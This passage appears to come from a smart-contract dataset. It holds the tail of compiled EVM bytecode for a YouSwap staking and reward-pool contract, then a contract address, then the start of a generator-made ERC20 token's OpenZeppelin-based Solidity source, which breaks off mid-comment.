529092019101612734565b5050505090506060815167ffffffffffffffff811180156127bb57600080fd5b506040519080825280602002602001820160405280156127e5578160200160208202803683370190505b5090506060825167ffffffffffffffff8111801561280257600080fd5b5060405190808252806020026020018201604052801561282c578160200160208202803683370190505b5090506060835167ffffffffffffffff8111801561284957600080fd5b50604051908082528060200260200182016040528015612873578160200160208202803683370190505b50905061287e615be6565b506000898152600860209081526040918290208251610100810184528154815260018201546001600160a01b03169281018390526002820154938101939093526003810154606084015260048101546080840152600581015460a0840152600681015460c08401526007015460e083015215612c94576000806000612901615c34565b600a60008f815260200190815260200160002060008e6001600160a01b03166001600160a01b031681526020019081526020016000206040518061010001604052908160008201548152602001600182015481526020016002820154815260200160038201548152602001600482018054806020026020016040519081016040528092919081815260200182805480156129ba57602002820191906000526020600020905b8154815260200190600101908083116129a6575b5050505050815260200160058201805480602002602001604051908101604052809291908181526020018280548015612a1257602002820191906000526020600020905b8154815260200190600101908083116129fe575b5050505050815260200160068201805480602002602001604051908101604052809291908181526020018280548015612a6a57602002820191906000526020600020905b815481526020019060010190808311612a56575b5050505050815260200160078201805480602002602001604051908101604052809291908181526020018280548015612ac257602002820191906000526020600020905b815481526020019060010190808311612aae575b505050505081525050905060005b8951811015612c8e57612ae1615c79565b8a8281518110612aed57fe5b6020026020010151905043876000015111612c5c5760009550600094508a518360800151511415612c2957608087015115612ba157612b418160400151611088896060015143613c2490919063ffffffff16565b93508060200151612b5f85836060015161450890919063ffffffff16565b10612b7a5760608101516020820151612b7791613c24565b93505b6080870151612b9b906114df9061108e8769d3c21bcecceda1000000614441565b60808201525b82608001518281518110612bb157fe5b602002602001015195508260a001518281518110612bcb57fe5b60200260200101519450612c00612bf969d3c21bcecceda100000061108e8660c00151868151811061155a57fe5b8790614508565b9550612c2661158369d3c21bcecceda100000061108e8660e0015186815181106115b057fe5b94505b85898381518110612c3657fe5b60200260200101818152505084888381518110612c4f57fe5b6020026020010181815250505b80600001518a8381518110612c6d57fe5b6001600160a01b039092166020928302919091019091015250600101612ad0565b50505050505b5091955093509150509250925092565b60606000805b600654811015612d1057836001600160a01b03166007600060068481548110612ccf57fe5b600091825260208083209091015483528201929092526040019020546001600160a01b03161415612d0857612d05826001614508565b91505b600101612caa565b5060608167ffffffffffffffff81118015612d2a57600080fd5b50604051908082528060200260200182016040528015612d54578160200160208202803683370190505b5090506000915060005b600654811015612df357846001600160a01b03166007600060068481548110612d8357fe5b600091825260208083209091015483528201929092526040019020546001600160a01b03161415612deb5760068181548110612dbb57fe5b9060005260206000200154828481518110612dd257fe5b6020908102919091010152612de8836001614508565b92505b600101612d5e565b509392505050565b60026020526000908152604090205460ff1681565b6007602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b03909216949293909290830182828015612eba5780601f10612e8f57610100808354040283529160200191612eba565b820191906000526020600020905b815481529060010190602001808311612e9d57829003601f168201915b5050505050908060020154908060030154905084565b3360009081526002602052604090205460ff16612f22576040805162461bcd60e51b815260206004820152601e6024820152600080516020615dcf833981519152604482015290519081900360640190fd5b6001600160a01b03881615801590612f435750306001600160a01b03891614155b612f94576040805162461bcd60e51b815260206004820152601d60248201527f596f75537761703a504152414d455445525f4552524f525f544f4b454e000000604482015290519081900360640190fd5b86600010612fd35760405162461bcd60e51b8152600401808060200182810382526029815260200180615f966029913960400191505060405180910390fd5b82516000108015612fe657508251600a10155b8015612ff3575081518351145b8015613000575080518351145b613051576040805162461bcd60e51b815260206004820152601e60248201527f596f75537761703a504152414d455445525f4552524f525f5245574152440000604482015290519081900360640190fd5b43861061305e5785613060565b435b9550600061307d6301312d0060055461450890919063ffffffff16565b60068054600181810183556000929092527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f018290556005549192506130c39190614508565b600555600081815260076020908152604090912080546001600160a01b0319166001600160a01b038c161781558b5190916131059160018401918e0190615cb1565b5060028101879055851561311f5760038101869055613140565b60065461313a90604b90613134906064614441565b90614508565b60038201555b6000828152600860205260408120898155600180820180546001600160a01b0319166001600160a01b038f16179055600282019290925590613183908a90613c24565b6003820155600060048201819055600582018b90556006820181905560078201819055600019905b87518110156135f1578781815181106131c057fe5b60200260200101516001600160a01b031660006001600160a01b03161415801561320f57508781815181106131f157fe5b60200260200101516001600160a01b0316306001600160a01b031614155b613260576040805162461bcd60e51b815260206004820152601d60248201527f596f75537761703a504152414d455445525f4552524f525f544f4b454e000000604482015290519081900360640190fd5b86818151811061326c57fe5b60200260200101516000106132b25760405162461bcd60e51b8152600401808060200182810382526024815260200180615e196024913960400191505060405180910390fd5b8581815181106132be57fe5b60200260200101516000106133045760405162461bcd60e51b8152600401808060200182810382526028815260200180615ef46028913960400191505060405180910390fd5b87818151811061331057fe5b60209081029190910101516003546001600160a01b039081169116146134d05761338e87828151811061333f57fe5b6020026020010151600b60008b858151811061335757fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205461450890919063ffffffff16565b600b60008a848151811061339e57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550600b60008983815181106133da57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205488828151811061340f57fe5b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561346357600080fd5b505afa158015613477573d6000803e3d6000fd5b505050506040513d602081101561348d57600080fd5b505110156134d0576040805162461bcd60e51b815260206004820152601c6024820152600080516020615d84833981519152604482015290519081900360640190fd5b6134d8615c79565b8882815181106134e457fe5b60209081029190910101516001600160a01b03168152875188908390811061350857fe5b602002602001015181602001818152505086828151811061352557fe5b6020908102919091018101516040838101918252600060608501818152608086018281528b83526009865292822080546001808201835591845292869020875160059094020180546001600160a01b0319166001600160a01b03909416939093178355948601519482019490945591516002830181905592516003830155516004909101558311156135e857806040015192506135e2600d61108e866005015461108869d3c21bcecceda10000008861444190919063ffffffff16565b60068501555b506001016131ab565b506135fd600185613ef9565b50505050505050505050505050565b60009081526008602052604090206005015490565b600c60209081526000928352604080842090915290825290205481565b600a81565b600080600080613651615c34565b6000888152600a602090815260408083206001600160a01b038b168452825291829020825161010081018452815481526001820154818401526002820154818501526003820154606082015260048201805485518186028101860190965280865291949293608086019392908301828280156136ec57602002820191906000526020600020905b8154815260200190600101908083116136d8575b505050505081526020016005820180548060200260200160405190810160405280929190818152602001828054801561374457602002820191906000526020600020905b815481526020019060010190808311613730575b505050505081526020016006820180548060200260200160405190810160405280929190818152602001828054801561379c57602002820191906000526020600020905b815481526020019060010190808311613788575b50505050508152602001600782018054806020026020016040519081016040528092919081815260200182805480156137f457602002820191906000526020600020905b8154815260200190600101908083116137e0575b50505050508152505090508060800151868151811061380f57fe5b60200260200101518160a00151878151811061382757fe5b60200260200101518260c00151888151811061383f57fe5b60200260200101518360e00151898151811061385757fe5b602002602001015194509450945094505093509350935093565b6004546001600160a01b031681565b6001546001600160a01b031633146138cd576040805162461bcd60e51b815260206004820152601b6024820152600080516020615e8b833981519152604482015290519081900360640190fd5b6001600160a01b038116613928576040805162461bcd60e51b815260206004820152601960248201527f596f75537761703a494e56414c49445f41444452455353455300000000000000604482015290519081900360640190fd5b6001546040516001600160a01b038084169216907f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c90600090a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031633146139d1576040805162461bcd60e51b815260206004820152601b6024820152600080516020615e8b833981519152604482015290519081900360640190fd5b6001600160a01b038316158015906139f157506001600160a01b03821615155b80156139fd5750806000105b613a385760405162461bcd60e51b8152600401808060200182810382526023815260200180615e3d6023913960400191505060405180910390fd5b80836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015613a8657600080fd5b505afa158015613a9a573d6000803e3d6000fd5b505050506040513d6020811015613ab057600080fd5b50511015613af3576040805162461bcd60e51b815260206004820152601c6024820152600080516020615d84833981519152604482015290519081900360640190fd5b613b076001600160a01b03841683836155c4565b816001600160a01b0316836001600160a01b03167f4f419798e514c337b327bb657066e69201f8adf380d6894b7f60cdf937ea9f03836040518082815260200191505060405180910390a3505050565b60055481565b3360009081526002602052604090205460ff16613baf576040805162461bcd60e51b815260206004820152601e6024820152600080516020615dcf833981519152604482015290519081900360640190fd5b600082815260076020526040902080546001600160a01b0316613c035760405162461bcd60e51b8152600401808060200182810382526027815260200180615f466027913960400191505060405180910390fd5b8151613c189060018301906020850190615cb1565b50611806600084613ef9565b600082821115613c7b576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b6000818152600860209081526040808320600990925290912080546060929190839067ffffffffffffffff81118015613cbe57600080fd5b50604051908082528060200260200182016040528015613ce8578160200160208202803683370190505b50600484015490915015613ea6576000806000613d12866003015443613c2490919063ffffffff16565b905060005b8554811015613e54576000868281548110613d2e57fe5b90600052602060002090600502019050613d5581600201548461444190919063ffffffff16565b93508060010154613d7385836003015461450890919063ffffffff16565b10613d9b5760038101546001820154613d8b91613c24565b9350613d98856001614508565b94505b6003810154613daa9085614508565b60038201556004880154613ddb90613dd09061108e8769d3c21bcecceda1000000614441565b600483015490614508565b600482018190558651879084908110613df057fe5b60209081029190910101528315613e4b578054604080518c81526020810187905281516001600160a01b03909316927f4e3883c75cc9c752bb1db2e406a822e4a75067ae77ad9a0a4d179f2709b9e1f6929181900390910190a25b50600101613d17565b504360038701558454831415613e9e574360078701556040805189815290517f3ff9cb67fb8342155b3414d735a9d18cc79ebb0c5b234f801da50205fdf2b7089181900360200190a15b505050613ef1565b60005b8254811015613eef57828181548110613ebe57fe5b906000526020600020906005020160040154828281518110613edc57fe5b6020908102919091010152600101613ea9565b505b949350505050565b613f01615d3d565b600082815260076020908152604091829020825160808101845281546001600160a01b03168152600180830180548651600261010094831615949094026000190190911692909204601f8101869004860283018601909652858252919492938581019391929190830182828015613fb95780601f10613f8e57610100808354040283529160200191613fb9565b820191906000526020600020905b815481529060010190602001808311613f9c57829003601f168201915b50505050508152602001600282015481526020016003820154815250509050613fe0615be6565b5060008281526008602090815260408083208151610100810183528154815260018201546001600160a01b031681850152600282015481840152600382015460608083019190915260048301546080830152600583015460a0830152600683015460c083015260079092015460e08201528685526009845282852080548451818702810187019095528085529195929490929084015b828210156140dd5760008481526020908190206040805160a0810182526005860290920180546001600160a01b0316835260018082015484860152600282015492840192909252600381015460608401526004015460808301529083529092019101614076565b5050505090506060815167ffffffffffffffff811180156140fd57600080fd5b50604051908082528060200260200182016040528015614127578160200160208202803683370190505b5090506060825167ffffffffffffffff8111801561414457600080fd5b5060405190808252806020026020018201604052801561416e578160200160208202803683370190505b5090506060835167ffffffffffffffff8111801561418b57600080fd5b506040519080825280602002602001820160405280156141b5578160200160208202803683370190505b50905060005b845181101561426f578481815181106141d057fe5b6020026020010151600001518482815181106141e857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505084818151811061421457fe5b60200260200101516020015183828151811061422c57fe5b60200260200101818152505084818151811061424457fe5b60200260200101516040015182828151811061425c57fe5b60209081029190910101526001016141bb565b5084602001516001600160a01b03167fc93fd4851cdd85d065a0104d3ebd884cc66bd74dde6d8a86eedda35f77356036898989602001518960a001518a60c001518b600001518d604001518e606001518c8c8c604051808c151581526020018b8152602001806020018a815260200189815260200188815260200187815260200186815260200180602001806020018060200185810385528e818151815260200191508051906020019080838360005b8381101561433757818101518382015260200161431f565b50505050905090810190601f1680156143645780820380516001836020036101000a031916815260200191505b508581038452885181528851602091820191808b01910280838360005b83811015614399578181015183820152602001614381565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156143d85781810151838201526020016143c0565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156144175781810151838201526020016143ff565b505050509050019f5050505050505050505050505050505060405180910390a25050505050505050565b60008261445057506000613c80565b8282028284828161445d57fe5b041461449a5760405162461bcd60e51b8152600401808060200182810382526021815260200180615eab6021913960400191505060405180910390fd5b9392505050565b60008082116144f7576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161450057fe5b049392505050565b60008282018381101561449a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001546001600160a01b031633146145af576040805162461bcd60e51b815260206004820152601b6024820152600080516020615e8b833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b600082815260086020526040902060018101546001600160a01b031615801590614605575080544310155b6146405760405162461bcd60e51b815260040180806020018281038252602a815260200180615def602a913960400191505060405180910390fd5b81600010801561466c57506000838152600a602090815260408083203384529091529020600101548211155b6146ab576040805162461bcd60e51b815260206004820152601c6024820152600080516020615d84833981519152604482015290519081900360640190fd5b6004805460408051630d69191f60e41b81523393810193909352805160009384936001600160a01b03169263d69191f092602480840193829003018186803b1580156146f657600080fd5b505afa15801561470a573d6000803e3d6000fd5b505050506040513d604081101561472057600080fd5b508051602090910151909250905061473a8533848461495a565b606061474586613c86565b90506147548682338686614b62565b61476686338787600501548787615616565b614773868233868661540f565b600184015461478c906001600160a01b031633876155c4565b60018401546040805188815260208101889052815133936001600160a01b0316927fc544f856c32130d17b1c425626be0a3f8d4d0d4dbd9dc7522f3e210ca8f733e1928290030190a3505050505050565b600081815260086020526040902060018101546001600160a01b031615801590614808575080544310155b6148435760405162461bcd60e51b815260040180806020018281038252602a815260200180615def602a913960400191505060405180910390fd5b6004805460408051630d69191f60e41b81523393810193909352805160009384936001600160a01b03169263d69191f092602480840193829003018186803b15801561488e57600080fd5b505afa1580156148a2573d6000803e3d6000fd5b505050506040513d60408110156148b857600080fd5b50805160209091015190925090506148d28433848461495a565b60606148dd85613c86565b90506148ec8582338686614b62565b6148f9858233868661540f565b5050505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261173e908590615965565b600084815260096020908152604080832054600a83528184206001600160a01b03881685529092529091206004810154614a005760005b828110156149fe57600482018054600181810183556000928352602080842090920183905560058501805480830182559084528284200183905560068501805480830182559084528284200183905560078501805480830182559084529183209091019190915501614991565b505b6001600160a01b038416156122bc576000868152600a602090815260408083206001600160a01b038816845290915290206004810154614aac5760005b83811015614aaa57600482018054600181810183556000928352602080842090920183905560058501805480830182559084528284200183905560068501805480830182559084528284200183905560078501805480830182559084529183209091019190915501614a3d565b505b6001600160a01b038416156110a2576000878152600a602090815260408083206001600160a01b038816845290915290206004810154614b585760005b84811015614b5657600482018054600181810183556000928352602080842090920183905560058501805480830182559084528284200183905560068501805480830182559084528284200183905560078501805480830182559084529183209091019190915501614ae9565b505b5050505050505050565b6000858152600a602090815260408083206001600160a01b0387168452825280832088845260098352818420805483518186028101860190945280845285948594859485949093606093869084015b82821015614c185760008481526020908190206040805160a0810182526005860290920180546001600160a01b0316835260018082015484860152600282015492840192909252600381015460608401526004015460808301529083529092019101614bb1565b50505050905060005b81518110156135fd57818181518110614c3657fe5b60200260200101516000015193508b8181518110614c5057fe5b60200260200101519450826002015460001080614c71575082600301546000105b15614d4e57614cb869d3c21bcecceda100000061108e856006018481548110614c9657fe5b906000526020600020015461157d89886002015461444190919063ffffffff16565b9650614cfc69d3c21bcecceda100000061108e856007018481548110614cda57fe5b906000526020600020015461157d89886003015461444190919063ffffffff16565b9550614d2a87846004018381548110614d1157fe5b906000526020600020015461450890919063ffffffff16565b9650614d3f86846005018381548110614d1157fe5b9550614d4b8787614508565b97505b8715614f46576000836004018281548110614d6557fe5b90600052602060002001819055506000836005018281548110614d8457fe5b60009182526020808320909101929092556001600160a01b038087168252600c83526040808320918f16835292522054614dbe9089614508565b600c6000866001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002081905550836001600160a01b0316600360009054906101000a90046001600160a01b03166001600160a01b03161415614eab57600354604080516340c10f1960e01b81526001600160a01b038e81166004830152602482018c9052915191909216916340c10f1991604480830192600092919082900301818387803b158015614e8e57600080fd5b505af1158015614ea2573d6000803e3d6000fd5b50505050614ef5565b6001600160a01b0384166000908152600b6020526040902054614ece9089613c24565b6001600160a01b0385166000818152600b6020526040902091909155614ef5908c8a6155c4565b604080518e81526020810189905280820188905290516001600160a01b03808e1692908716917f4e236244a1930cf7a42cb431522293c19bfe68da419e41778bb1738ea91ccd609181900360600190a35b6001600160a01b038a161561507b5760008d8152600a602090815260408083206001600160a01b038e16845290915290206002810154151580614f8d575080600301546000105b1561507957614fd469d3c21bcecceda100000061108e836006018581548110614fb257fe5b906000526020600020015461157d8a866002015461444190919063ffffffff16565b975061501869d3c21bcecceda100000061108e836007018581548110614ff657fe5b906000526020600020015461157d8a866003015461444190919063ffffffff16565b965061502d88826004018481548110614d1157fe5b81600401838154811061503c57fe5b906000526020600020018190555061505d87826005018481548110614d1157fe5b81600501838154811061506c57fe5b6000918252602090912001555b505b6001600160a01b0389161561516c5760008d8152600a602090815260408083206001600160a01b038d168452909152902060028101541515806150c2575080600301546000105b1561516a576150e769d3c21bcecceda100000061108e836006018581548110614fb257fe5b975061510969d3c21bcecceda100000061108e836007018581548110614ff657fe5b965061511e88826004018481548110614d1157fe5b81600401838154811061512d57fe5b906000526020600020018190555061514e87826005018481548110614d1157fe5b81600501838154811061515d57fe5b6000918252602090912001555b505b600101614c21565b600061518085856144a1565b60008881526008602052604090206002810154919250906151a19087614508565b600282015560048101546151b59083614508565b60048201556000888152600a602090815260408083206001600160a01b038b168452909152902060018101546151eb9088614508565b600182015560038101546151ff9084614508565b6003820155805461520e574381555b6000806001600160a01b038716156152d0576000615232606461108e886005614441565b60028501549091506152449082614508565b600285015560048501546152589082614508565b6004860155600061526f606461108e89600f614441565b60008e8152600a602090815260408083206001600160a01b038e16845290915290206002810154919250906152a49083614508565b6002820181905560048801549095506152bd9083614508565b600488015580546152cc574381555b5050505b6001600160a01b038616156153515760006152f1606461108e88600a614441565b60008d8152600a602090815260408083206001600160a01b038c16845290915290206002810154919250906153269083614508565b60028201819055600487015490935061533f9083614508565b6004870155805461534e574381555b50505b856001600160a01b0316876001600160a01b03168b6001600160a01b03167fbcb83545704eeae85addce8eab4d42b642e16a24e2e3eec7160ffd3d7c0571768e8860010160009054906101000a90046001600160a01b0316896004015489600201548a600301548a8a60405180888152602001876001600160a01b0316815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390a45050505050505050505050565b6000858152600a602090815260408083206001600160a01b03871684529091528120815b8651811015614b585786818151811061544857fe5b6020026020010151925061546983836002015461444190919063ffffffff16565b82600601828154811061547857fe5b60009182526020909120015560038201546154939084614441565b8260070182815481106154a257fe5b6000918252602090912001556001600160a01b038516156155bc576000888152600a602090815260408083206001600160a01b0389168452909152902060028101546154ee9085614441565b8160060183815481106154fd57fe5b60009182526020909120015560038101546155189085614441565b81600701838154811061552757fe5b6000918252602090912001556001600160a01b038516156155ba576000898152600a602090815260408083206001600160a01b0389168452909152902060028101546155739086614441565b81600601848154811061558257fe5b600091825260209091200155600381015461559d9086614441565b8160070184815481106155ac57fe5b600091825260209091200155505b505b600101615433565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611806908490615965565b600061562285856144a1565b6000888152600860205260409020600281015491925090861061564b5760006002820155615660565b600281015461565a9087613c24565b60028201555b81816004015411615677576000600482015561568c565b60048101546156869083613c24565b60048201555b6000888152600a602090815260408083206001600160a01b038b168452909152902060018101546156bd9088613c24565b6001820155600381015483106156d957600060038201556156ee565b60038101546156e89084613c24565b60038201555b6000806001600160a01b03871615615803576000615712606461108e886005614441565b90508085600401541161572b5760006004860155615740565b600485015461573a9082613c24565b60048601555b80846002015411615757576000600285015561576c565b60028401546157669082613c24565b60028501555b600061577e606461108e89600f614441565b90508086600401541161579757600060048701556157ac565b60048601546157a69082613c24565b60048701555b60008d8152600a602090815260408083206001600160a01b038d1684529091529020600281015482106157e557600060028201556157fa565b60028101546157f49083613c24565b60028201555b60020154935050505b6001600160a01b03861615615351576000615824606461108e88600a614441565b90508085600401541161583d5760006004860155615852565b600485015461584c9082613c24565b60048601555b60008c8152600a602090815260408083206001600160a01b038b16845290915290206002810154821061588b57600060028201556158a0565b600281015461589a9083613c24565b60028201555b60020154915050856001600160a01b0316876001600160a01b03168b6001600160a01b03167fbcb83545704eeae85addce8eab4d42b642e16a24e2e3eec7160ffd3d7c0571768e8860010160009054906101000a90046001600160a01b0316896004015489600201548a600301548a8a60405180888152602001876001600160a01b0316815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390a45050505050505050505050565b60606159ba826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316615a169092919063ffffffff16565b805190915015611806578080602001905160208110156159d957600080fd5b50516118065760405162461bcd60e51b815260040180806020018281038252602a815260200180615f1c602a913960400191505060405180910390fd5b6060613ef1848460008585615a2a85615b3c565b615a7b576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310615aba5780518252601f199092019160209182019101615a9b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114615b1c576040519150601f19603f3d011682016040523d82523d6000602084013e615b21565b606091505b5091509150615b31828286615b42565b979650505050505050565b3b151590565b60608315615b5157508161449a565b825115615b615782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015615bab578181015183820152602001615b93565b50505050905090810190601f168015615bd85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6040518061010001604052806000815260200160006001600160a01b031681526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60405180610100016040528060008152602001600081526020016000815260200160008152602001606081526020016060815260200160608152602001606081525090565b6040518060a0016040528060006001600160a01b03168152602001600081526020016000815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282615ce75760008555615d2d565b82601f10615d0057805160ff1916838001178555615d2d565b82800160010185558215615d2d579182015b82811115615d2d578251825591602001919060010190615d12565b50615d39929150615d6e565b5090565b604051806080016040528060006001600160a01b031681526020016060815260200160008152602001600081525090565b5b80821115615d395760008155600101615d6f56fe596f75537761703a42414c414e43455f494e53554646494349454e5400000000596f75537761703a524557415244544f54414c5f4c4553535f5448414e5f52455741524450524f56494445596f75537761703a464f5242494444454e5f4e4f545f4f504552415445520000596f75537761703a504f4f4c5f4e4f545f45584953545f4f525f4d494e494e475f4e4f545f5354415254596f75537761703a504152414d455445525f4552524f525f5245574152445f544f54414c596f75537761703a5a45524f5f414444524553535f4f525f5a45524f5f414d4f554e54596f75537761703a5354414b455f414d4f554e545f544f4f5f534d414c4c5f4f525f544f4f5f4c41524745596f75537761703a464f5242494444454e5f4e4f545f4f574e45520000000000536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77596f75537761703a504f4f4c5f4e4f545f45584953545f4f525f4d494e545f4e4f545f5354415254596f75537761703a504152414d455445525f4552524f525f5245574152445f5045525f424c4f434b5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564596f75537761703a504f4f4c5f4e4f545f45584953545f4f525f454e445f4f465f4d494e494e47596f75537761703a504152414d455445525f4552524f525f544f4f5f53484f52545f4f525f4c4f4e47596f75537761703a504f574552524154494f5f4d5553545f475245415445525f5448414e5f5a45524fa264697066735822122025532177b9a3af08f4fc5d512a9efe259993d9e6f16f19821b66c0a7c754b4ea64736f6c63430007040033
[ 4, 7, 9, 12, 13, 5 ]
0xF264b53C8b04f011a3D927f0Cd7767d2608Afb37
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See 